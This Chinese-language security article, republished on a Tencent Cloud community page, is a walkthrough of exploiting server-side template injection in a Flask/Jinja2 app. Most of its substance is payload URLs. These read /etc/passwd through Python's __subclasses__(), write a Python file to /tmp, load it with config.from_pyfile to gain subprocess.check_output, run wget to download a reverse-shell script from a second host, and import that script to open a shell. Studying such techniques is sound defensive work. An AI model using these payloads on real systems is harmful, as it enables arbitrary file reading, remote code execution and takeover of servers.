前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >FlaskJinja2 开发中遇到的的服务端注入问题研究 II

FlaskJinja2 开发中遇到的的服务端注入问题研究 II

作者头像
FB客服
发布2018-02-28 15:02:11
9150
发布2018-02-28 15:02:11
举报
文章被收录于专栏:FreeBuf

0x00. 前言

本篇文章是 《Flask Jinja2 开发中遇到的的服务端注入问题研究》<点击阅读原文查看链接>续篇,我们继续研究 Flask Jinja2开发中遇到的SSTI问题,本篇文章会介绍新的利用方式。

0×01. 测试代码

为了更好地演示Flask/Jinja2 开发中的SSTI问题,我们搭建一个小的POC程序,主要由两个python脚本组成, 其中page_not_found 存在SSTI漏洞:

Flask-test.py

Config.py

执行 python Flask-test.py

0×02. Flask/Jinja2 开发中的SSTI 利用之任意文件读取

先介绍一些概念

关于类对象

instance.__class__ 可以获取当前实例的类对象

我们知道python中新式类(也就是显示继承object对象的类)都有一个属性__class__可以获取到当前实例对应的类,随便选择一个简单的新

式类实例,比如”,一个空字符串,就是一个新式类实例,所以”.__class__ 就可以获取到实例对应的类(也就是<type ‘str’>)

类对象中的属性__mro__

class.__mro__ 获取当前类对象的所有继承类

python中类对象有一个属性__mro__, 这个属性返回一个tuple对象,这个对象包含了当前类对象所有继承的基类,tuple中元素的顺序就是MRO(Method Resolution Order) 寻找的顺序

http://10.1.100.3:5000/{{”.__class__.__mro__}}

从结果中可以发现”对应的类对象str继承的顺序是basestring->object

类对象中的方法__subclasses__()

每一个新式类都保留了它所有的子类的引用,__subclasses__()这个方法返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)

我们知道python中的类都是继承object的,所以只要调用object类对象的__subclasses__()方法就可以获取我们想要的类的对象,比如用于读取文件的file对象

开始漏洞利用

首先获取object对象的所有子类引用列表

http://10.1.100.3:5000/{{”.__class__.__mro__[2].__subclasses__()}}

”.__class__.__mro__[2] 获取的就是object 类对象(<type ‘object’>)

从执行结果中可以看到,获取到非常多的子类类对象引用,这里我们比较关注的是file类对象(<type ‘file’>), 可以用来进行文件读取

我们选取file 类对象,并实例化一个匿名实例,给其传入参数 ‘/etc/passwd’

http://10.1.100.3:5000/{{”.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd’).read()}}

可以看到成功实现了任意文件读取

0×03. Flask/Jinja2 开发中的SSTI 利用之远程代码执行

1 首先向服务器写入一个py代码的文件/tmp/tmp.cfg

访问如下URL

http://10.1.100.3:5000/{{”.__class__.__mro__[2].__subclasses__()[40](‘/tmp/tmp.cfg’, ‘w’).write(‘from subprocess import check_output\n\n RUNCMD = check_output\n ‘)}}

注: 这里需要注意直接在浏览器中访问这个URL,浏览器自动将\n 变成/n, 所以要用burpsuite 的repeater 功能辅助一下

至此写入文件成功

2 利用Flask Template Globals 中的config上下文对象导入py代码

上一篇《Flask Jinja2开发中遇到的的服务端注入问题研究》中我们提到了render_template_string 函数中第二个参数context 这个上下文对象参数 默认值中就包含了Flask Template Globals 所有的全局变量,其中就包括config这个上下文对象(源代码Flask/config.py), from_pyfile 用于导入指定的py文件,源代码如下:

这段代码的意思就是将指定的py文件导入,然后将导入的py文件中的大写成员属性加入到config这个上下文对象中(这就是为什么我用RUNCMD了,大写)

先访问:

http://10.1.100.3:5000/{{config.from_pyfile(‘/tmp/tmp.cfg’)}}

再访问:

http://10.1.100.3:5000/{{config.items()}}

至此,我们已经将RUNCMD导入到config这个模板上下文对象中了,而RUNCMD指向subprocess.check_output

3 利用注入的RUNCMD 执行系统命令下载反弹shell

访问:

http://10.1.100.3:5000/{{config['RUNCMD'](‘/usr/bin/wget http://10.1.100.2/backShell.py -O /tmp/x’, shell=True)}}

从执行结果来看,反弹shell下载成功

4 利用config 上下文对象的from_pyfile方法导入反弹shell

我们知道python在导入模块的同时也会执行脚本中部分代码(class 和方法的定义不会执行),利用这一点,就可以执行反弹shell 了

访问:

http://10.1.100.3:5000/{{config.from_pyfile(‘/tmp/x’)}}

成功反弹shell

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2017-06-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00. 前言
  • 0×02. Flask/Jinja2 开发中的SSTI 利用之任意文件读取
    • 类对象中的属性__mro__
      • 类对象中的方法__subclasses__()
        • 开始漏洞利用
          • 1 首先向服务器写入一个py代码的文件/tmp/tmp.cfg
            • 2 利用Flask Template Globals 中的config上下文对象导入py代码
              • 3 利用注入的RUNCMD 执行系统命令下载反弹shell
                • 4 利用config 上下文对象的from_pyfile方法导入反弹shell
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档